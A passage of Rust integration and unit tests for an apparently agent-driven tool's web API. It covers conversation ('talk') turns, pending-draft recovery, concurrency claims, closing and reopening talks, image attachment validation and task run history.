8100 repo.join("magi.toml"),
8101 format!("{MOCK_AGENT_TOML}\n{second}"),
8102 )
8103 .expect("write magi.toml");
8104 let home = TempDir::new().expect("temp home");
8105 let talks = Talks::at(home.path().join("talks"));
8106 let ui = Arc::new(
8107 Ui::new(
8108 Queue::at(home.path().join("queue")),
8109 Questions::at(home.path().join("questions")),
8110 talks.clone(),
8111 home.path().join("runs"),
8112 home.path().to_path_buf(),
8113 repo.clone(),
8114 )
8115 .with_worktrees_root(home.path().join("wt")),
8116 );
8117 let cfg = config_for(&repo).await.expect("discover config");
8118 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8119 let id = talk.id.clone();
8120 let call = |agent: &str| {
8121 talk_agent(
8122 State(Arc::clone(&ui)),
8123 Path(id.clone()),
8124 Json(TalkAgent {
8125 agent: agent.to_owned(),
8126 }),
8127 )
8128 };
8129
8130 let unknown = call("nobody").await.expect_err("unknown agent");
8131 assert_eq!(
8132 unknown.status,
8133 StatusCode::BAD_REQUEST,
8134 "{}",
8135 unknown.message
8136 );
8137
8138 {
8139 let mut claimed = None;
8142 for _ in 0..200 {
8143 claimed = ui.begin_talk_turn(&id).expect("claim");
8144 if claimed.is_some() {
8145 break;
8146 }
8147 tokio::time::sleep(Duration::from_millis(10)).await;
8148 }
8149 let _busy = claimed.expect("free");
8150 let busy = call("second").await.expect_err("busy talk");
8151 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8152 }
8153 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8154
8155 let Json(view) = call("second").await.expect("switch");
8156 assert_eq!(view.talk.agent, "second");
8157 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8158 let saved = talks.get(&id).expect("reload");
8159 assert_eq!(saved.agent, "second");
8160 assert_eq!(saved.turns.len(), 1);
8161
8162 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8163 .await
8164 .expect("detail");
8165 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8166 assert_eq!(roster, ["mock", "second"]);
8167
8168 let mut closed = talks.get(&id).expect("reload");
8169 talk::close(&mut closed, &talks).expect("close");
8170 let refused = call("mock").await.expect_err("closed talk");
8171 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8172 }
8173
8174 #[tokio::test]
8175 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8176 let f = Fixture::start().await;
8177 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8178 let queue = f.queue();
8179 let mut mine = Task::new(
8180 "rename the loader".to_owned(),
8181 "rename the loader".to_owned(),
8182 PathBuf::from("/repo/magi"),
8183 Source::Agent {
8184 run: talk_id.clone(),
8185 node: "chat".to_owned(),
8186 },
8187 );
8188 queue.put(&mut mine).expect("file the task");
8189 let mut theirs = Task::new(
8190 "unrelated".to_owned(),
8191 "unrelated".to_owned(),
8192 PathBuf::from("/repo/magi"),
8193 Source::Human,
8194 );
8195 queue.put(&mut theirs).expect("file the task");
8196
8197 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8198 assert_eq!(res.status, 200, "{}", res.body);
8199 let body = res.json();
8200 assert_eq!(
8201 body["status"], "open",
8202 "filing a task does not close a talk"
8203 );
8204 let tasks = body["tasks"].as_array().expect("tasks array");
8205 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8206 assert_eq!(tasks[0]["id"], mine.id);
8207 }
8208
8209 #[tokio::test]
8210 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8211 let (_tmp, _repo, f) = talk_fixture().await;
8212 let id = f.post("/api/talks", None).await.json()["id"]
8213 .as_str()
8214 .expect("id")
8215 .to_owned();
8216
8217 let res = f
8218 .post(
8219 &format!("/api/talks/{id}/say"),
8220 Some(r#"{"text":"what does the queue module do?"}"#),
8221 )
8222 .await;
8223 assert_eq!(res.status, 202, "{}", res.body);
8224 let queued = res.json();
8225 let turns = queued["turns"].as_array().expect("turns array");
8226 assert_eq!(
8227 turns.len(),
8228 1,
8229 "the answer reflects only what is on disk the instant it is sent, \
8230 before the agent's turn - which can run for the whole of \
8231 `[graph] timeout_talk` - has a chance to land: {queued}"
8232 );
8233 assert_eq!(turns[0]["who"], "operator");
8234 assert_eq!(turns[0]["body"], "what does the queue module do?");
8235 assert_eq!(
8236 queued["thinking"], true,
8237 "the accepted response exposes the background turn claim: {queued}"
8238 );
8239
8240 let mut turns_after = 1;
8241 for _ in 0..SETTLE_STEPS {
8242 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8243 turns_after = detail["turns"].as_array().expect("turns array").len();
8244 if turns_after == 2 {
8245 break;
8246 }
8247 tokio::time::sleep(Duration::from_millis(10)).await;
8248 }
8249 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8250 }
8251
8252 #[tokio::test]
8279 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8280 let tmp = TempDir::new().expect("tempdir");
8281 let repo = tmp.path().join("repo");
8282 std::fs::create_dir_all(&repo).expect("repo dir");
8283 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8284 let home = TempDir::new().expect("temp home");
8285 let talks = Talks::at(home.path().join("talks"));
8286 let ui = Arc::new(
8287 Ui::new(
8288 Queue::at(home.path().join("queue")),
8289 Questions::at(home.path().join("questions")),
8290 talks.clone(),
8291 home.path().join("runs"),
8292 home.path().to_path_buf(),
8293 repo.clone(),
8294 )
8295 .with_worktrees_root(home.path().join("wt")),
8296 );
8297 let cfg = config_for(&repo).await.expect("discover config");
8298
8299 for delay in 0..40u32 {
8300 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8301 let id = talk.id.clone();
8302
8303 let handler = tokio::spawn(talk_say(
8304 State(Arc::clone(&ui)),
8305 Path(id.clone()),
8306 Ok(Json(NewTalkTurn {
8307 text: "what does the queue module do?".to_owned(),
8308 attachments: Vec::new(),
8309 })),
8310 ));
8311 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8312 handler.abort();
8313 let _ = handler.await;
8316
8317 let mut turns = 0;
8318 for _ in 0..SETTLE_STEPS {
8319 if let Ok(fresh) = talks.get(&id) {
8320 turns = fresh.turns.len();
8321 if turns != 1 {
8322 break;
8323 }
8324 }
8325 tokio::time::sleep(Duration::from_millis(10)).await;
8326 }
8327 assert_ne!(
8328 turns, 1,
8329 "delay {delay}: talk {id} recorded the operator's turn but \
8330 the agent never answered - the reply task was never \
8331 started after the handler future was dropped"
8332 );
8333 }
8334 }
8335
8336 #[tokio::test]
8381 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8382 let tmp = TempDir::new().expect("tempdir");
8383 let repo = tmp.path().join("repo");
8384 std::fs::create_dir_all(&repo).expect("repo dir");
8385 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8386 let home = TempDir::new().expect("temp home");
8387 let talks = Talks::at(home.path().join("talks"));
8388 let ui = Arc::new(
8389 Ui::new(
8390 Queue::at(home.path().join("queue")),
8391 Questions::at(home.path().join("questions")),
8392 talks.clone(),
8393 home.path().join("runs"),
8394 home.path().to_path_buf(),
8395 repo.clone(),
8396 )
8397 .with_worktrees_root(home.path().join("wt")),
8398 );
8399 let cfg = config_for(&repo).await.expect("discover config");
8400
8401 for attempt in 0..3u32 {
8402 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8403 let id = talk.id.clone();
8404 let turn_guard = ui
8407 .begin_talk_turn(&id)
8408 .expect("claim the turn")
8409 .expect("a fresh talk owes nobody a turn");
8410
8411 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8412 let (release_tx, release_rx) = std::sync::mpsc::channel();
8413 ui.set_busy_queue_gate(BusyQueueGate {
8414 reached: reached_tx,
8415 release: release_rx,
8416 });
8417
8418 let handler = tokio::spawn(talk_say(
8419 State(Arc::clone(&ui)),
8420 Path(id.clone()),
8421 Ok(Json(NewTalkTurn {
8422 text: "what does the queue module do?".to_owned(),
8423 attachments: Vec::new(),
8424 })),
8425 ));
8426
8427 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8432 .await
8433 .unwrap_or_else(|_| {
8434 panic!(
8435 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8436 )
8437 })
8438 .expect("the busy branch dropped the gate without using it");
8439
8440 let running = talks.get(&id).expect("reload talk");
8447 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8448
8449 handler.abort();
8453 let _ = handler.await;
8454
8455 let _ = release_tx.send(());
8461
8462 let mut fresh = talks.get(&id).expect("reload talk");
8465 for _ in 0..SETTLE_STEPS {
8466 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8467 break;
8468 }
8469 tokio::time::sleep(Duration::from_millis(10)).await;
8470 fresh = talks.get(&id).expect("reload talk");
8471 }
8472 assert!(
8473 fresh.pending.is_empty() && fresh.turns.len() == 2,
8474 "attempt {attempt}: talk {id} left the operator's text queued \
8475 with no drainer - the reclaimed turn was dropped along with \
8476 the handler future (pending {:?}, {} turns)",
8477 fresh.pending,
8478 fresh.turns.len()
8479 );
8480 }
8481 }
8482
8483 #[tokio::test]
8484 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8485 let (_tmp, _repo, f) = talk_fixture().await;
8486 let id = f.post("/api/talks", None).await.json()["id"]
8487 .as_str()
8488 .expect("id")
8489 .to_owned();
8490 let store = f.talks();
8491 let mut recovered = store.get(&id).expect("opened talk");
8492 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8493 .expect("persist pending draft without a live turn");
8494
8495 let edited = f
8496 .post(
8497 &format!("/api/talks/{id}/pending/edit"),
8498 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8499 )
8500 .await;
8501 assert_eq!(edited.status, 200, "{}", edited.body);
8502 assert!(edited.json()["thinking"].as_bool().unwrap());
8503
8504 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8505 for _ in 0..SETTLE_STEPS {
8506 if detail["turns"].as_array().expect("turns").len() == 2 {
8507 break;
8508 }
8509 tokio::time::sleep(Duration::from_millis(10)).await;
8510 detail = f.get(&format!("/api/talks/{id}")).await.json();
8511 }
8512 let turns = detail["turns"].as_array().expect("turns");
8513 assert_eq!(
8514 turns.len(),
8515 2,
8516 "the recovered draft must run once: {detail}"
8517 );
8518 assert_eq!(turns[0]["body"], "corrected");
8519 assert_eq!(detail["pending"], "");
8520 }
8521
8522 #[tokio::test]
8523 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8524 let tmp = TempDir::new().expect("tempdir");
8525 let repo = tmp.path().join("repo");
8526 std::fs::create_dir_all(&repo).expect("repo dir");
8527 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8528 let f = Fixture::with_repo(repo).await;
8529 let id = f.post("/api/talks", None).await.json()["id"]
8530 .as_str()
8531 .expect("id")
8532 .to_owned();
8533 let store = f.talks();
8534 let mut recovered = store.get(&id).expect("opened talk");
8535 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8536 .expect("persist pending draft without a live turn");
8537
8538 let refused = f
8539 .post(
8540 &format!("/api/talks/{id}/say"),
8541 Some(r#"{"text":"new message"}"#),
8542 )
8543 .await;
8544 assert_eq!(refused.status, 409, "{}", refused.body);
8545 assert!(refused.body.contains("resume"), "{}", refused.body);
8546 let saved = store.get(&id).expect("draft remains after refusal");
8547 assert!(saved.turns.is_empty());
8548 assert_eq!(saved.pending, "saved before restart");
8549
8550 let say_path = format!("/api/talks/{id}/say");
8551 let (first, second) = tokio::join!(
8552 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8553 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8554 );
8555 assert_eq!(first.status, 409, "{}", first.body);
8556 assert_eq!(second.status, 409, "{}", second.body);
8557 let saved = store
8558 .get(&id)
8559 .expect("draft remains after concurrent refusals");
8560 assert!(saved.turns.is_empty());
8561 assert_eq!(saved.pending, "saved before restart");
8562
8563 let resumed = f
8564 .post(&format!("/api/talks/{id}/pending/resume"), None)
8565 .await;
8566 assert_eq!(resumed.status, 202, "{}", resumed.body);
8567 let duplicate = f
8568 .post(&format!("/api/talks/{id}/pending/resume"), None)
8569 .await;
8570 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8571
8572 for _ in 0..SETTLE_STEPS {
8573 if store.get(&id).expect("talk").turns.len() == 2 {
8574 break;
8575 }
8576 tokio::time::sleep(Duration::from_millis(10)).await;
8577 }
8578 let finished = store.get(&id).expect("finished talk");
8579 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8580 assert_eq!(finished.turns[0].body, "saved before restart");
8581 assert!(finished.pending.is_empty());
8582 }
8583
8584 #[tokio::test]
8585 async fn an_image_only_recovered_draft_resumes_without_text() {
8586 let (_tmp, _repo, f) = talk_fixture().await;
8587 let id = f.post("/api/talks", None).await.json()["id"]
8588 .as_str()
8589 .expect("id")
8590 .to_owned();
8591 let uploaded = f
8592 .post_bytes(
8593 &format!("/api/talks/{id}/attachments"),
8594 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8595 PNG_BYTES,
8596 )
8597 .await;
8598 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8599 let attachment = f
8600 .talks()
8601 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8602 .expect("attachment metadata")
8603 .expect("stored attachment");
8604 let store = f.talks();
8605 let mut recovered = store.get(&id).expect("opened talk");
8606 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8607
8608 let resumed = f
8609 .post(&format!("/api/talks/{id}/pending/resume"), None)
8610 .await;
8611 assert_eq!(resumed.status, 202, "{}", resumed.body);
8612 for _ in 0..SETTLE_STEPS {
8613 if store.get(&id).expect("talk").turns.len() == 2 {
8614 break;
8615 }
8616 tokio::time::sleep(Duration::from_millis(10)).await;
8617 }
8618 let finished = store.get(&id).expect("finished talk");
8619 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8620 assert!(finished.turns[0].body.is_empty());
8621 assert_eq!(finished.turns[0].attachments.len(), 1);
8622 assert!(finished.pending_attachments.is_empty());
8623 }
8624
8625 #[tokio::test]
8626 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8627 let (_tmp, _repo, f) = talk_fixture().await;
8628 let id = f.post("/api/talks", None).await.json()["id"]
8629 .as_str()
8630 .expect("id")
8631 .to_owned();
8632 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8633 assert_eq!(closed.status, 200, "{}", closed.body);
8634 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8635 .expect("serialize closed talk");
8636 for (path, body) in [
8637 (format!("/api/talks/{id}/pending/resume"), None),
8638 (
8639 format!("/api/talks/{id}/pending/clear"),
8640 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8641 ),
8642 (
8643 format!("/api/talks/{id}/pending/edit"),
8644 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8645 ),
8646 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8647 ] {
8648 let response = f.post(&path, body).await;
8649 assert_eq!(response.status, 409, "{}", response.body);
8650 }
8651 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8652 .expect("serialize closed talk");
8653 assert_eq!(
8654 after_clear, before_clear,
8655 "clear must not rewrite a closed talk"
8656 );
8657 }
8658
8659 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8662
8663 #[tokio::test]
8664 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8665 let tmp = TempDir::new().expect("tempdir");
8666 let repo = tmp.path().join("repo");
8667 std::fs::create_dir_all(&repo).expect("repo dir");
8668 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8669 let f = Fixture::with_repo(repo).await;
8670 let id_a = f.post("/api/talks", None).await.json()["id"]
8671 .as_str()
8672 .unwrap()
8673 .to_owned();
8674 let id_b = f.post("/api/talks", None).await.json()["id"]
8675 .as_str()
8676 .unwrap()
8677 .to_owned();
8678
8679 let a = f
8680 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8681 .await;
8682 assert_eq!(a.status, 202, "{}", a.body);
8683 assert_eq!(a.json()["thinking"], true);
8684 let b = f
8685 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8686 .await;
8687 assert_eq!(b.status, 202, "{}", b.body);
8688 assert_eq!(b.json()["thinking"], true);
8689
8690 let listed = f.get("/api/talks").await.json();
8691 for id in [&id_a, &id_b] {
8692 let view = listed
8693 .as_array()
8694 .unwrap()
8695 .iter()
8696 .find(|talk| talk["id"] == *id)
8697 .unwrap();
8698 assert_eq!(view["thinking"], true, "{listed}");
8699 }
8700 let repeated = f
8701 .post(
8702 &format!("/api/talks/{id_a}/say"),
8703 Some(r#"{"text":"again"}"#),
8704 )
8705 .await;
8706 assert_eq!(repeated.status, 202, "{}", repeated.body);
8707 assert_eq!(repeated.json()["pending"], "again");
8708 }
8709
8710 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8713
8714 #[tokio::test]
8715 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8716 let f = Fixture::start().await;
8717 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8718
8719 let res = f
8720 .post_bytes(
8721 &format!("/api/talks/{id}/attachments"),
8722 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8723 PNG_BYTES,
8724 )
8725 .await;
8726 assert_eq!(res.status, 201, "{}", res.body);
8727 let body = res.json();
8728 assert_eq!(body["name"], "shot.png");
8729 assert_eq!(body["mime"], "image/png");
8730 assert_eq!(body["bytes"], PNG_BYTES.len());
8731 let att_id = body["id"].as_str().expect("id").to_owned();
8732 assert_eq!(
8733 att_id.len(),
8734 32,
8735 "the id must never be a client-suppliable path: {att_id}"
8736 );
8737
8738 let got = f
8739 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8740 .await;
8741 assert_eq!(got.status, 200, "{}", got.body);
8742 assert_eq!(got.header("content-type"), Some("image/png"));
8743 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8744 assert_eq!(got.bytes, PNG_BYTES);
8745 }
8746
8747 #[tokio::test]
8748 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8749 let f = Fixture::start().await;
8750 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8751
8752 let svg = f
8755 .post_bytes(
8756 &format!("/api/talks/{id}/attachments"),
8757 &[("Content-Type", "image/svg+xml")],
8758 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8759 )
8760 .await;
8761 assert!(
8762 (400..500).contains(&svg.status),
8763 "svg must be refused: {} {}",
8764 svg.status,
8765 svg.body
8766 );
8767 assert!(svg.body.contains("SVG"), "{}", svg.body);
8768
8769 let text = f
8770 .post_bytes(
8771 &format!("/api/talks/{id}/attachments"),
8772 &[("Content-Type", "text/plain")],
8773 b"just some text",
8774 )
8775 .await;
8776 assert!(
8777 (400..500).contains(&text.status),
8778 "an unlisted type must be refused: {} {}",
8779 text.status,
8780 text.body
8781 );
8782
8783 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8786 let big = f
8787 .post_bytes(
8788 &format!("/api/talks/{id}/attachments"),
8789 &[("Content-Type", "image/png")],
8790 &oversized,
8791 )
8792 .await;
8793 assert_eq!(
8794 big.status,
8795 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8796 "{}",
8797 big.body
8798 );
8799 }
8800
8801 #[tokio::test]
8802 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8803 let f = Fixture::start().await;
8804 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8805
8806 let res = f
8809 .post_bytes(
8810 &format!("/api/talks/{id}/attachments"),
8811 &[("Content-Type", "image/png")],
8812 b"<html>not a picture</html>",
8813 )
8814 .await;
8815 assert!((400..500).contains(&res.status), "{}", res.body);
8816 }
8817
8818 #[tokio::test]
8819 async fn an_unknown_attachment_id_is_a_404() {
8820 let f = Fixture::start().await;
8821 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8822
8823 let res = f
8824 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8825 .await;
8826 assert_eq!(res.status, 404, "{}", res.body);
8827 }
8828
8829 #[tokio::test]
8830 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8831 let f = Fixture::start().await;
8832 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8833
8834 let uploaded = f
8835 .post_bytes(
8836 &format!("/api/talks/{id}/attachments"),
8837 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8838 PNG_BYTES,
8839 )
8840 .await;
8841 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8842 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8843
8844 let res = f
8845 .post(
8846 &format!("/api/talks/{id}/say"),
8847 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8848 )
8849 .await;
8850 assert_eq!(res.status, 202, "{}", res.body);
8851 let queued = res.json();
8852 let turns = queued["turns"].as_array().expect("turns array");
8853 assert_eq!(
8854 turns.len(),
8855 1,
8856 "an empty body with an attachment is still a turn: {queued}"
8857 );
8858 assert_eq!(turns[0]["who"], "operator");
8859 assert_eq!(turns[0]["body"], "");
8860 let atts = turns[0]["attachments"]
8861 .as_array()
8862 .expect("attachments array");
8863 assert_eq!(atts.len(), 1);
8864 assert_eq!(atts[0]["id"], att_id);
8865 assert_eq!(atts[0]["mime"], "image/png");
8866
8867 let on_disk = f.talks().get(&id).expect("get");
8870 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8871 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8872 }
8873
8874 #[tokio::test]
8875 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8876 let f = Fixture::start().await;
8877 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8878
8879 let res = f
8880 .post(
8881 &format!("/api/talks/{id}/say"),
8882 Some(&format!(
8883 r#"{{"text":"hi","attachments":["{}"]}}"#,
8884 "a".repeat(32)
8885 )),
8886 )
8887 .await;
8888 assert!((400..500).contains(&res.status), "{}", res.body);
8889 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8890
8891 let on_disk = f.talks().get(&id).expect("get");
8892 assert!(
8893 on_disk.turns.is_empty(),
8894 "a rejected attachment id must not partially record the turn: {:?}",
8895 on_disk.turns
8896 );
8897 }
8898
8899 #[tokio::test]
8900 async fn talk_close_makes_the_talk_refuse_further_turns() {
8901 let f = Fixture::start().await;
8902 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8903
8904 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8905 assert_eq!(closed.status, 200, "{}", closed.body);
8906 assert_eq!(closed.json()["status"], "closed");
8907
8908 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8910 assert_eq!(closed_again.status, 200);
8911 assert_eq!(closed_again.json()["status"], "closed");
8912
8913 let said = f
8914 .post(
8915 &format!("/api/talks/{id}/say"),
8916 Some(r#"{"text":"too late"}"#),
8917 )
8918 .await;
8919 assert_eq!(said.status, 409, "{}", said.body);
8920 }
8921
8922 #[tokio::test]
8923 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8924 let (_tmp, _repo, f) = talk_fixture().await;
8925 let id = f.post("/api/talks", None).await.json()["id"]
8926 .as_str()
8927 .expect("id")
8928 .to_owned();
8929 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8930 assert_eq!(closed.status, 200, "{}", closed.body);
8931
8932 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8933 assert_eq!(reopened.status, 200, "{}", reopened.body);
8934 assert_eq!(reopened.json()["status"], "open");
8935
8936 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8938 assert_eq!(reopened_again.status, 200);
8939 assert_eq!(reopened_again.json()["status"], "open");
8940
8941 let said = f
8942 .post(
8943 &format!("/api/talks/{id}/say"),
8944 Some(r#"{"text":"still there?"}"#),
8945 )
8946 .await;
8947 assert_eq!(
8948 said.status, 202,
8949 "a reopened talk accepts turns again: {}",
8950 said.body
8951 );
8952 }
8953
8954 #[tokio::test]
8955 async fn talk_reopen_on_an_unknown_id_is_404() {
8956 let f = Fixture::start().await;
8957 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8958 assert_eq!(res.status, 404, "{}", res.body);
8959 }
8960
8961 #[tokio::test]
8962 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8963 let f = Fixture::start().await;
8964 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8965
8966 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8967 assert_eq!(deleted.status, 204, "{}", deleted.body);
8968
8969 let after = f.get(&format!("/api/talks/{id}")).await;
8970 assert_eq!(after.status, 404, "{}", after.body);
8971
8972 let listed = f.get("/api/talks").await.json();
8973 assert!(
8974 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8975 "a deleted talk must not linger in the list: {listed}"
8976 );
8977 }
8978
8979 #[tokio::test]
8980 async fn talk_delete_on_an_unknown_id_is_404() {
8981 let f = Fixture::start().await;
8982 let res = f.delete("/api/talks/nonexistent-id").await;
8983 assert_eq!(res.status, 404, "{}", res.body);
8984 }
8985
8986 #[tokio::test]
8990 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8991 let f = Fixture::start().await;
8992 let (a, b, gone) = (
8993 "20260902-140501-aaaa",
8994 "20260902-140502-bbbb",
8995 "20260902-140503-cccc",
8996 );
8997 write_run(&f.runs(), a, RunStatus::Stalled);
8998 let mut review = RunState::new(
8999 PathBuf::from("/repo/magi"),
9000 "main".to_owned(),
9001 "0123456789abcdef".to_owned(),
9002 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9003 .to_owned(),
9004 Config::default(),
9005 );
9006 review.id = b.to_owned();
9007 review.status = RunStatus::Merged;
9008 write_state(&f.runs(), &review);
9009
9010 let mut task = Task::new(
9011 "retry".to_owned(),
9012 "Do the thing".to_owned(),
9013 PathBuf::from("/repo/magi"),
9014 Source::Human,
9015 );
9016 task.start(a.to_owned());
9017 task.stall("quota");
9018 task.start(a.to_owned());
9019 task.start(b.to_owned());
9020 task.start(gone.to_owned());
9021 f.queue().put(&mut task).expect("file the task");
9022
9023 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9024 assert_eq!(res.status, 200, "{}", res.body);
9025 let v = res.json();
9026 let h = v["history"].as_array().expect("history");
9027 assert_eq!(h.len(), 4, "{v}");
9028 assert_eq!(h[0]["kind"], "competition");
9029 assert_eq!(h[0]["status"], "stalled");
9030 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9031 assert_eq!(h[1]["kind"], "resume", "{v}");
9032 assert!(
9033 h[0]["outcome"]
9034 .as_str()
9035 .unwrap()
9036 .contains("unknown. Pass #2"),
9037 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9038 );
9039 assert!(
9040 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9041 "{v}"
9042 );
9043 assert!(
9044 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9045 "an unrecorded cause must not be narrated as an operator park: {v}"
9046 );
9047 assert_eq!(h[2]["kind"], "review");
9048 assert!(
9049 h[2]["description"]
9050 .as_str()
9051 .unwrap()
9052 .contains("magi/aaaa/A")
9053 );
9054 assert_eq!(h[2]["status"], "merged");
9055 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9056 assert_eq!(v["runs_unreadable"], 1);
9057 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9058 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9059 assert_eq!(nodes[4]["note"], "unreadable");
9060 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9061 assert_eq!(v["instruction"], "Do the thing");
9062 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9063
9064 let run = f.get(&format!("/api/runs/{a}")).await.json();
9066 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9067
9068 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9069 }
9070
9071 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9072 let mut s = RunState::new(
9073 PathBuf::from("/repo/magi"),
9074 "main".to_owned(),
9075 "0123456789abcdef".to_owned(),
9076 "Do it".to_owned(),
9077 Config::default(),
9078 );
9079 s.status = status;
9080 edit(&mut s);
9081 s
9082 }
9083
9084 fn flow_task(runs: &[&str]) -> Task {
9085 let mut t = Task::new(
9086 "t".to_owned(),
9087 "Do it".to_owned(),
9088 PathBuf::from("/repo/magi"),
9089 Source::Human,
9090 );
9091 for r in runs {
9092 t.start((*r).to_owned());
9093 }
9094 t
9095 }
9096
9097 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9098 let h = task_history(task, |id| {
9099 states
9100 .iter()
9101 .find(|(i, _)| *i == id)
9102 .and_then(|(_, s)| s.clone())
9103 });
9104 task_flow(task, &h, 5)
9105 }
9106
9107 #[test]
9108 fn flow_opens_with_the_chat_that_queued_the_task() {
9109 let mut t = flow_task(&[]);
9110 t.source = Source::Agent {
